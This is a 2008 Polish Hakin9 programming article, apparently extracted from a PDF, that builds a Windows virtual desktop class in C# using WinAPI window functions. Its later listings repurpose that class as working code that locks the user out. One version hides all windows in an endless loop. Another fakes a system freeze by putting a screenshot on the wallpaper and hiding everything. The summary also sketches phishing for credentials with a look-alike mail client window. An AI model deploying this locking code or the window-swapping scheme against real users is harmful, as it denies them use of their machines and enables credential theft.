background image

14

 

POCZĄTKI

HAKIN9 7-8/2008

W

irtualny pulpit jest mechanizmem 
dość powszechnie stosowanym w 
wielu dystrybucjach systemu Linux. 

Używając go mamy wrażenie, jakbyśmy 
dysponowali kilkoma pulpitami. Dzięki temu 
możemy podzielić aplikacje na grupy i w razie 
potrzeby przełączać się między nimi. W ten 
sposób łatwo możemy zarządzać oknami. 
Zasada działania wirtualnych pulpitów jest dość 
prosta. 

Poszukujemy wszystkich widocznych 

okien na pulpicie, zapamiętując ich położenie 
oraz wymiary, a następnie ukrywamy je. W 
ten sposób powstaje nowy wirtualny pulpit, 
na którym możemy swobodnie pracować. 
Gdy zechcemy powrócić do poprzedniego 
pulpitu, chowamy bieżące okna, zapamiętując 
ich wymiary i położenie, a przywracamy 
widoczność okien wcześniej ukrytych. Na takiej 
zasadzie przełączamy się między wirtualnymi 
pulpitami. 

Cała trudność polega na znalezieniu 

sposobu zarządzania oknami pulpitu jako 
jednym obiektem. Z pomocą przychodzi nam 
WinApi. 

Artykuł ten ma na celu zilustrowanie 

mechanizmu wirtualnych pulpitów jako 
metody polepszającej komfort pracy z 
systemem Windows, a także pokazanie, jak 
łatwo użyteczną technikę można wykorzystać 
w sposób szkodliwy. Projekt zrealizujemy 
pod platformą .NET. Do napisania kodu 

MACIEJ PAKULSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

jak działają wirtualne pulpity,

jak zarządzać oknami w 

Windows. 

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy projektowania 

zorientowanego obiektowo.

wykorzystamy darmowe środowisko Visual C# 
2008 Expres Edition.

Klasa 

obsługująca wirtualny pulpit

Tworzymy nowy projekt i nadajemy mu 
odpowiednią nazwę. Dodajemy klasę, która 
będzie reprezentować wirtualny pulpit. Zaczniemy 
od importu niezbędnych funkcji WinApi. Ilustruje 
to kod z Listingu 1.

Aby móc skorzystać z 

DllImport

musimy najpierw dodać przestrzeń nazw 

System.Runtime.InteropServices

. Działanie 

poszczególnych zaimportowanych funkcji jest 
następujące:

•  

GetDesktopWindow

 – funkcję 

wykorzystujemy do uzyskania uchwytu do 
pulpitu,

•  

GetTopWindow

 – funkcja zwraca uchwyt do 

okna będącego najwyżej w porządku osi z 
(ang. z order). Jako parametr przekazujemy 
uchwyt do okna będącego oknem 
nadrzędnym (ang. parent window) w stosunku 
do poszukiwanego okna,

•  

GetWindow

 – funkcja zwraca uchwyt 

do okna, które jest w specjalnej relacji 
z wybranym oknem. Pierwszy parametr 
określa relację między oknami, drugi 
parametr to uchwyt do okna, z którym 
poszukiwane okno jest w relacji określonej 
pierwszym parametrem,

Stopień trudności

Wirtualny 

pulpit 

Windows

Współczesne systemy operacyjne umożliwiają uruchomienie 

wielu programów jednocześnie, co może powodować problem 

organizacji okien na pulpicie. Rozwiązaniem tego problemu może 

być użycie wirtualnych pulpitów, choć mechanizm ten może także 

tworzyć podstawę do działania złośliwego oprogramowania. 

background image

15

 

WIRTUALNY PULPIT WINDOWS

HAKIN9 

7-8/2008

•  

IsWindowVisible

 – funkcja 

sprawdza, czy okno jest widoczne 
(czy ma ustawiony styl okna WS_
VISIBLE),

•  

FindWindowEx

 – funkcja zwraca 

uchwyt do okna. Pierwszy parametr 
to uchwyt do okna będącego 
oknem nadrzędnym w stosunku do 
poszukiwanego okna, drugi parametr 
określa uchwyt okna, od którego 
rozpocznie się przeszukiwanie w 
porządku osi z, trzeci parametr określa 
nazwę klasy okna, a czwarty jest 
nazwą okna,

•  

BeginDeferWindowPos

 – przydziela 

pamięć dla struktury opisującej 
położenie okien, których liczba jest 
przekazywana jako parametr. Funkcja 
zwraca uchwyt do struktury,

•  

DeferWindowPos

 – funkcja zmienia 

atrybuty okna (takie, jak położenie, 
rozmiar, widoczność), jako parametry 
przyjmuje ona kolejno:
•   uchwyt do struktury 

opisującej okna uzyskiwany 
przy pomocy wywołania 

BeginDeferWindowPos

,

•   uchwyt do okna, którego atrybuty 

chcemy zmienić,

•   uchwyt do okna, które poprzedza 

konkretne okno w porządku osi z. 
Możliwe jest także zastosowanie 
stałej, która będzie określać 
położenie okna względem innych, 

•   współrzędna x lewego górnego 

rogu okna,

•   współrzędna y lewego górnego 

rogu okna,

•   szerokość okna w pikselach,
•   wysokość okna w pikselach,
•   flagi. 

Wywołanie 

DeferWindowPos

 powoduje 

zaktualizowanie struktury będącej 
pierwszym parametrem funkcji, dzięki 
czemu zawiera ona informacje o oknie, 
którego uchwyt przekazujemy jako drugi 
parametr. 

Funkcja zwraca uchwyt do 

zaktualizowanej struktury.

•  

EndDeferWindowPos

 – wywołanie 

funkcji powoduje jednoczesną zmianę 
atrybutów okien, określonych przez 
strukturę, której uchwyt przekazujemy 
jako parametr.

Kolejnym krokiem będzie zdefiniowanie 
stałych, których użyjemy przy wywołaniu 
funkcji WinApi. Dodajemy do naszego 
programu kod z Listingu 2. Stałe są 
wykorzystywane w następujący sposób:

•  

GW _ HWNDNEXT

 – wywołując funkcję 

GetWindow

 z tym parametrem 

uzyskujemy uchwyt do okna, które leży 
poniżej wybranego okna, w porządku 
osi z,

•  

SWP _ NOZORDER

 – stała 

wykorzystywana jako ósmy parametr 
funkcji 

DeferWindowPos

, określa 

brak zmiany kolejności okien 
(parametr 

hWndInsertAfter

 jest 

ignorowany),

•  

SWP _ HIDEWINDOW

 – ósmy parametr 

funkcji 

DeferWindowPos

, określa 

ukrycie okna,

•  

SWP _ SHOWWINDOW

 – ósmy parametr 

funkcji 

DeferWindowPos

, określa 

pokazanie okna,

•  

SWP _ NOACTIVE

 – ósmy parametr 

funkcji 

DeferWindowPos

, określa brak 

aktywacji okna,

•  

SWP _ NOSIZE

 – ósmy parametr funkcji 

DeferWindowPos

, określa brak zmiany 

rozmiaru okna (parametry cx i cy są 
ignorowane),

•  

SWP _ NOMOVE

 – ósmy parametr 

funkcji 

DeferWindowPos

, brak zmiany 

położenia okna (parametry x i y są 
ignorowane).

Rysunek 1. 

Wirtualne pulpity Windows

Listing 1. 

Funkcje WinApi

[

DllImport

(

"user32.dll"

)]

public

 

static

 

extern

 

IntPtr

 

GetDesktopWindow

();

[

DllImport

(

"user32.dll"

)]

public

 

static

 

extern

 

IntPtr

 

GetTopWindow

(

IntPtr

 

hwnd

);

[

DllImport

(

"user32.dll"

)]

public

 

static

 

extern

 

IntPtr

 

GetWindow

(

IntPtr

 

hwnd

int

 

cmd

);

[

DllImport

(

"user32.dll"

)]

public

 

static

 

extern

 

bool

 

IsWindowVisible

(

IntPtr

 

hwnd

);

[

DllImport

(

"user32"

)]

public

 

static

 

extern

 

IntPtr

 

FindWindowEx

(

IntPtr

 

parent

IntPtr

 

childAfter

string

 

szClass

string

 

szWindow

);

[

DllImport

(

"user32"

)]

public

 

static

 

extern

 

IntPtr

 

BeginDeferWindowPos

(

int

 

nNumWindows

);

[

DllImport

(

"user32"

)]

public

 

static

 

extern

 

IntPtr

 

DeferWindowPos

(

IntPtr

 

hWinPosInfo

IntPtr

 

hwnd

int

 

hWndInsertAfter

int

 

x

int

 

y

int

 

cx

int

 

cy

int

 

wFlags

);

[

DllImport

(

"user32"

)]

public

 

static

 

extern

 

int

 

EndDeferWindowPos

(

IntPtr

 

hWinPosInfo

);

background image

16

 

POCZATKI

HAKIN9 7-8/2008

WIRTUALNY PULPIT WINDOWS

17

 

HAKIN9 

7-8/2008

Następną czynnością jest zadeklarowanie 
pól naszej klasy. Pora na kod 
zaprezentowany na Listingu 3.

Pola 

hwndTab

 użyjemy do 

przechowania uchwytów okien, 
które tworzą nasz wirtualny pulpit. 

Zadeklarowana tablica ma stały wmiar, 
tak więc jeżeli liczba okien przekroczy 
1024, nie będziemy mogli ich obsłużyć. 
Aby temu zapobiec, możemy np. 
wykorzystać kontener 

List

. Jednakże 

prawdopodobieństwo, że będziemy 
obsługiwali więcej niż 1024 okna jest 
małe, tak więc skorzystamy z tablicy. Pole 

counter

 będzie licznikiem okien, które 

obsługujemy. 

Jesteśmy teraz gotowi do 

zaimplemetowania metod, które będą 
odowiedzialne za obsługę wirtualnego 
pulpitu. Dodajemy kod z Listingu 4.

Zadaniem metody 

Hide

 jest 

schowanie okien bieżącego pulpitu. Na 
początku uzyskujemy uchwyt do pulpitu, 
wywołując 

GetDesktopWindow

. Następie 

wywołujemy funkcję 

GetTopWindow

dzięki czemu będziemy znać uchwyt okna 
będącego najwyżej w porządku osi z. 

Używając funkcji 

FindWindowEx

uzyskujemy uchwyty odpowiedno do 
paska zadań (ang. task bar), a także 
pulpitu (pulpit oznacza w tym momencie 
ikony takie, jak Mój Komputer itp.). 
Następnie przy wykorzystaniu pętli 

do 

.. while

 przeszukujemy okna pulpitu. 

Kryteria poszukiwania zawężamy do 
okien widocznych i nie będących oknami 
paska zadań oraz pulpitu. 

Dodatkowo, jeżeli aplikacja 

obsługująca wirtualne pulpity jest 
widoczna, powinniśmy ją także 
pominąć podczas operacji zmiany 
atrybutu widoczności okien (parametr 

appHandle

). 

Dysponując tablicą uchwytów do 

widocznych okien pulpitu, możemy 
zmienić ich wybrane atrybuty. Dzięki 
wywołaniu funkcji 

BeginDeferWindowPos

 

tworzymy strukturę opisującą okna. 
Używając pętli 

for

 zmieniamy atrybuty 

wybranych okien – ponieważ chcemy 
schować okna, ustawiamy flagę 

SWP _

HIDEWINDOW

. Zmian dodokonujemy 

wyołując funkcję 

EndDeferWindowPos

Uzyskujemy w ten sposób nowy, wirtualny 
pulpit.

Metody 

Show

 używamy, jeżeli 

utworzyliśmy wcześniej wirtualny pulpit, 
na który właśnie chcemy się przełączyć. 
Tworzy ona strukturę opisującą okna, a 
następnie zmienia kolejno artybuty okien 
wirtualnego pulpitu, jaki zamierzamy 
uaktywnić. 

Listing 2. 

Stałe klasy

private

 

int

 

GW_HWNDNEXT

 

=

 

2

;

private

 

int

 

SWP_NOZORDER

 

=

 

4

;

private

 

int

 

SWP_HIDEWINDOW

 

=

 

128

;

private

 

int

 

SWP_SHOWWINDOW

 

=

 

64

;

private

 

int

 

SWP_NOACTIVATE

 

=

 

16

;

private

 

int

 

SWP_NOSIZE

 

=

 

1

;

private

 

int

 

SWP_NOMOVE

 

=

 

2

;

Listing 3. 

Pola klasy

private

 

IntPtr

[]

 

hwndTab

 

=

 

new

 

IntPtr

[

1024

];

private

 

int

 

counter

 

=

 

0

;

Listing 4. 

Metody klasy 

public

 

void

 

Hide

(

IntPtr

 

appHandle

)

{

   

IntPtr

 

deskWin

 

=

 

GetDesktopWindow

();

   

IntPtr

 

win

 

=

 

GetTopWindow

(

deskWin

);

   

if

 

(

win

 

==

 

IntPtr

.

Zero

)

      

return

;

   

IntPtr

 

hTask

 

=

 

FindWindowEx

(

IntPtr

.

Zero

IntPtr

.

Zero

"Shell_TrayWnd"

null

);

   

IntPtr

 

des

 

=

 

FindWindowEx

(

IntPtr

.

Zero

IntPtr

.

Zero

"Progman"

null

);

   

counter

 

=

 

0

;

   

do

   

{

      

if

 

(

IsWindowVisible

(

win

)

 

&&

 

win

 

!=

 

hTask

 

&&

 

win

 

!=

 

deskWin

 

&&

 

win

 

!=

 

des

 

&&

 

win

 

!=

 

appHandle

)

      

{

         

hwndTab

[

counter

++]

 

=

 

win

;

      

}

   

}

   

while

 

((

win

 

=

 

GetWindow

(

win

GW_HWNDNEXT

))

 

!=

 

IntPtr

.

Zero

);

   

IntPtr

 

s

 

=

 

BeginDeferWindowPos

(

counter

);

   

for

 

(

int

 

i

 

=

 

0

;

 

i

 

<

 

counter

;

 

i

++)

   

{

      

s

 

=

 

DeferWindowPos

(

s

hwndTab

[

i

]

0

,

            

0

            

0

,

            

0

,

            

0

,

            

SWP_HIDEWINDOW

 

|

 

SWP_NOMOVE

 

|

 

SWP_NOSIZE

 

|

 

SWP_NOZORDER

 

|

 

SWP_

NOACTIVATE

);

   

}

   

EndDeferWindowPos

(

s

);

}

public

 

void

 

Show

()

{

   

IntPtr

 

s

 

=

 

BeginDeferWindowPos

(

counter

);

   

for

 

(

int

 

i

 

=

 

0

;

 

i

 

<

 

counter

;

 

i

++)

   

{

      

s

 

=

 

DeferWindowPos

(

s

hwndTab

[

i

]

0

,               

0

            

0

,

            

0

,

            

0

,

      

SWP_SHOWWINDOW

 

|

 

SWP_NOMOVE

 

|

 

SWP_NOSIZE

 

|

 

SWP_NOZORDER

);

   

}

   

EndDeferWindowPos

(

s

);

}

background image

16

 

POCZATKI

HAKIN9 7-8/2008

WIRTUALNY PULPIT WINDOWS

17

 

HAKIN9 

7-8/2008

Ponieważ chcemy teraz, aby wybrane 

okna były ponownie widoczne, tym razem 
włączamy flagę 

SWP _ SHOWWINDOW

Zmian dokonujemy przy pomocy 
wywołania funkcji 

EndDeferWindowPos

.

Wirtualny pulpit 

jako zagrożenie

Stworzona przez nas klasa jest 
implementacją wirtualnego pulpitu w 
systemie Windows. 

Jednakże możemy ją zastosować 

także w innym celu. Zastosowanie tylko 
funkcji chowającej, działającej w pętli 
(Listing 5), uniemożliwi nam pracę z 
jakąkolwiek alikacją – po prostu nie 
będziemy widzieli okien. 

Dodatkowo zauważmy, że 

przeszukując okna na pulpicie, na liście 
wyjątków nie uwzględniamy menadżera 
zadań – jego też nie będziemy w stanie 
wywołać. 

Możemy się także pokusić o napisanie 

aplikacji, która będzie imitować awarię 
systemu poprzez brak odpowiedzi na 
komendy użytkownika. Zasada działania 
jest dość prosta. Robimy zrzut ekranu 
i zapisujemy go do pliku, następnie 
ukrywamy wszystkie okna – włącznie z 
paskiem zadań oraz ikonami na pulpicie, 
a na koniec zmieniamy tapetę na obraz 
przedstawiający zrzut ekranu. 

Ponieważ obraz ekranu był zapisany 

przed schowaniem wszystkich okien, 
są one na nim widoczne. W ten sposób 
wygląd pulpitu użytkownika nie uległ 
zmianie, lecz jego funkcjonalność jest 
zablokowana.

Implementacja powyższego 

mechanizmu wymaga drobnych zmian 
klasy wirtualnego pulpitu. Na początek 
będziemy potrzebować funkcji, za 
pomocą której zmienimy tapetę pulpitu. 
W tym celu wykorzystamy funkcję 

SystemParametersInfo

. W sekcji 

importu funkcji 

WinApi

 dodajemy kod 

zawarty na Listingu 6.

Zadaniem funkcji 

SystemParametersInfo

 jest zmiana 

bądź odczytanie wybranych ustawień 
systemowych. 

Przyjmuje ona następujące 

parametry:

•  

uAction

 – kod czynności, którą 

chcemy wykonać,

•  

uParam

 – znaczenie tego parametru 

jest zależne od pierwszego 
parametru,

•  

lpvParam

 – znaczenie tego parametru 

jest także zależne od pierwszego 
parametru,

•  

uWinIni

 – określa czynności, jakie 

zostaną wykonane po dokonaniu zmian 
ustawień systemowych.

Kolejnym krokiem jest zdefiniowanie 
stałych, których użyjemy, wywołując 
funkcję 

SystemParametersInfo

. W 

sekcji definicji stałych klasy dopisujemy 
kod z Listingu 7.

Wywołanie funkcji 

SystemParametersInfo

 ze stałą 

SPI _

SETDESKWALLPAPER

 powoduje zmianę 

tapety pulpitu. 

Ścieżkę do pliku zawierającego 

obraz nowej tapety podajemy jako trzeci 

parametr funkcji. W systemach Windows 
Server 2003 oraz Windows XP/2000 plik z 
obrazem nie może być w formacie JPEG. 
Przy definicji czwartego parametru funkcji 
używamy stałych 

SPIF _ UPDATEINIFILE

 

SPIF _ SENDWININICHANGE

. Oznaczają 

one odpowiednio aktualizację profilu 
użytkownika oraz wygenerowanie 
komunikatu 

WM _ SETTINGCHANGE

Przejdźmy do napisania metody, 

która będzie zamieniać tapetę pulpitu na 
wcześniej wykonany zrzut ekranu. Kod 
metody jest przedstawiony na Listingu 8.

Na początku dodajemy 

przestrzenie nazw 

System.Drawing

System.Windows.Forms

, a także 

System.Drawing.Imaging

.

Metoda rozpoczyna działanie od 

stworzenia obiektu klasy 

Bitmap

reprezentującego zrzut ekranu 
Przeciążony konstruktor tej klasy pobiera 

Listing 5. 

Jak nie należy używać wirtualnych pulpitów – prosty przykład

while

 

(

true

)

{

   

(

new

 

VirtualPulpit

())

.

Hide

(

this

.

Handle

);

   

Thread

.

Sleep

(

100

);

}

Listing 6. 

Funkcja SystemParametersInfo

[

DllImport

(

"user32.dll"

)]

public

 

static

 

extern

 

int

 

SystemParametersInfo

(

int

 

uAction

int

 

uParam

string

 

lpvParam

int

 

fuWinIni

);

Listing 7. 

Stałe wykorzystywane przy zmianie tapety pulpitu

private

 

int

 

SPI_SETDESKWALLPAPER

 

=

 

20

;

private

 

int

 

SPIF_UPDATEINIFILE

 

=

 

1

;

private

 

int

 

SPIF_SENDWININICHANGE

 

=

 

2

;

Listing 8. 

Metoda zamieniająca tapetę pulpitu na zrzut ekranu

private

 

void

 

ChangeWallPaperToScreenShot

(

string

 

bmpPath

)

{

   

Bitmap

 

bitmap

 

=

 

new

 

Bitmap

(

                   

Screen

.

PrimaryScreen

.

Bounds

.

Width

,

                

Screen

.

PrimaryScreen

.

Bounds

.

Height

,

                

PixelFormat

.

Format32bppArgb

);

   

Graphics

 

screenshot

 

=

 

Graphics

.

FromImage

(

bitmap

);

   

screenshot

.

CopyFromScreen

(

Screen

.

PrimaryScreen

.

Bounds

.

X

,

           

Screen

.

PrimaryScreen

.

Bounds

.

Y

,

                

0

0

,

                  

Screen

.

PrimaryScreen

.

Bounds

.

Size

,

                

CopyPixelOperation

.

SourceCopy

);

   

bitmap

.

Save

(

bmpPath

ImageFormat

.

Bmp

);

   

SystemParametersInfo

(

SPI_SETDESKWALLPAPER

0

bmpPath

,          

SPIF_UPDATEINIFILE

 

|

 

SPIF_SENDWININICHANGE

);

}

background image

18

 

POCZATKI

HAKIN9 7-8/2008

dwa parametry: szerokość i wysokość 
obrazu. 

Ponieważ zapisujemy cały obraz 

na monitorze, wykorzystujemy klasę 

Screen

 w celu odczytania wysokości i 

szerokości ekranu monitora. Zrzut ekranu 
tworzony jest poprzez wywołanie metody 

CopyFromScreen

 klasy 

Graphics

. Kopiuje 

ona piksele z określonego fragmentu 
ekranu do instancji klasy 

Graphics

Metoda ta przyjmuje następujące 

parametry:

•   współrzędną x punktu początkowego,
•   współrzędną y punktu początkowego,
•   współrzędną x punktu końcowego,

•   współrzędną y punktu końcowego,
•   rozmiar obszaru do przekopiowania,
•   obiekt klasy 

CopyPixelOperation

odpowiadający za sposób 
przedstawiania kolorów.

Obraz zapisujemy w wybranym miejscu, 
używając formatu BMP. Na koniec 
zamieniamy tapetę pulpitu na wcześniej 
utworzony zrzut ekranu.

Ostatnią czynnością jest – pokazana 

na Listingu 9 – drobna modyfikacja 
metody 

Hide

.

Istotną zmianą jest wywołanie na 

początku metody 

ChangeWallPaperToS

creenShot

. Dodatkowo usunęliśmy kod, 

który dodaje okna aplikacji, paska zadań 
oraz pulpitu (rozumianego jako ikony) 
do listy wyjątków podczas wyszukiwania 
widocznych okien. 

Uruchamiając aplikację, która 

wywołuje metodę 

Hide

, zauważymy, że 

nasz pulpit nie odpowiada na wydawane 
przez nas komendy. Istnieje jednak 
możliwość otworzenia pewnych okien, 
np. poprzez specjalne kombinacje 
klawiszy. Aby temu zapobiec, możemy 
wykorzystać wcześniejszą wersję metody 

Hide

 (Listing 4) w sposób przedstawiony 

na Listingu 5. 

Podsumowanie

Celem artykułu było zaprezentowanie 
techniki wirtualnych pulpitów. 
Wykorzystując ten mechanizm jesteśmy 
w stanie w sposób swobodny zarządzać 
oknami uruchomionych apikacji, dzięki 
czemu praca z systemem Windows staje 
się wygodniejsza. 

Jednakże omówioną technikę można 

wykorzystać do pisania róznego rodzaju 
robaków, które zamiast pomagać 
użytkownikowi – powodują szkody w jego 
systemie. 

Będąc w stanie kontrolować pozycję, 

rozmiar oraz widoczność okien, jesteśmy 
w stanie podmienić wybrane okna. Pisząc 
program, wyglądający identycznie jak 
np. menadżer poczty e-mail, możemy 
bardzo szybko zamienić oryginalne okno 
aplikacji na specjalnie przygotowaną 
przez nas kopię. Użytkownik, 
nieświadomy zagrożenia, wprowadza 
swój login i hasło, które zamiast trafić 
do menadżera poczty, są przez nas 
przechwytywane. Jeżeli dodatkowo, 
przywrócimy widoczność oryginalnego 
okna aplikacji, wygenerujemy komunikat 
o drobnym błędzie z prośbą powtórnego 
wpisania loginu i hasła, to istnieje 
duże prawdopodobieństwo, że dane 
użytkownika zostaną wykradzione w 
sposób niezauważalny.

Maciej Pakulski

Absolwent studiów inżynierskich oraz aktywny członek 

koła naukowego .NET Wydziału Fizyki, Astronomii i 

Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika 

w Toruniu. Obecnie na studiach magisterskich. 

Programowaniem zajmuje się od 2004. Potrafi 

programować biegle w językach C/C++, Java, VHDL. 

Programowaniem w języku C# i platformą .NET zajmuje 

się od 2006 roku. Jest autorem szeregu publikacji z 

zakresu programowania oraz bezpieczeństwa IT.

Kontakt z autorem: mac_pak@interia.pl

W Sieci

•   http://www.microsoft.com/express/download – witryna Microsoft, z której można pobrać 

środowisko Visual C# 2008 Express Edition,

•   http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy 

.NET i nie tylko. Naprawdę godny polecenia,

•   http://www.codeguru.pl – polska strona dla programistów .NET,
•   http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszystkich 

klas, własności i metod, jakie zawiera platforma .NET wraz z przykładowymi 
programami.

Listing 9. 

Zmodyfikowana metoda Hide

public

 

void

 

Hide

()

{

   

ChangeWallPaperToScreenShot

(

@

"C:

\w

allPaper"

);

   

IntPtr

 

deskWin

 

=

 

GetDesktopWindow

();

   

IntPtr

 

win

 

=

 

GetTopWindow

(

deskWin

);

   

if

 

(

win

 

==

 

IntPtr

.

Zero

)

      

return

;

   

counter

 

=

 

0

;

   

do

   

{

      

if

 

(

IsWindowVisible

(

win

)

 

&&

 

win

 

!=

 

deskWin

 

)

                

{

                   

hwndTab

[

counter

++]

 

=

 

win

;

                

}

   

}

   

while

 

((

win

 

=

 

GetWindow

(

win

GW_HWNDNEXT

))

 

!=

 

IntPtr

.

Zero

);

   

IntPtr

 

s

 

=

 

BeginDeferWindowPos

(

counter

);

   

for

 

(

int

 

i

 

=

 

0

;

 

i

 

<

 

counter

;

 

i

++)

   

{

      

s

 

=

 

DeferWindowPos

(

s

hwndTab

[

i

]

0

,

            

0

,

            

0

,

            

0

,

            

0

,

            

SWP_HIDEWINDOW

 

|

 

SWP_NOMOVE

 

|

 

SWP_NOSIZE

 

|

 

SWP_NOZORDER

 

|

 

SWP_

NOACTIVATE

);

   

}

   

EndDeferWindowPos

(

s

);

}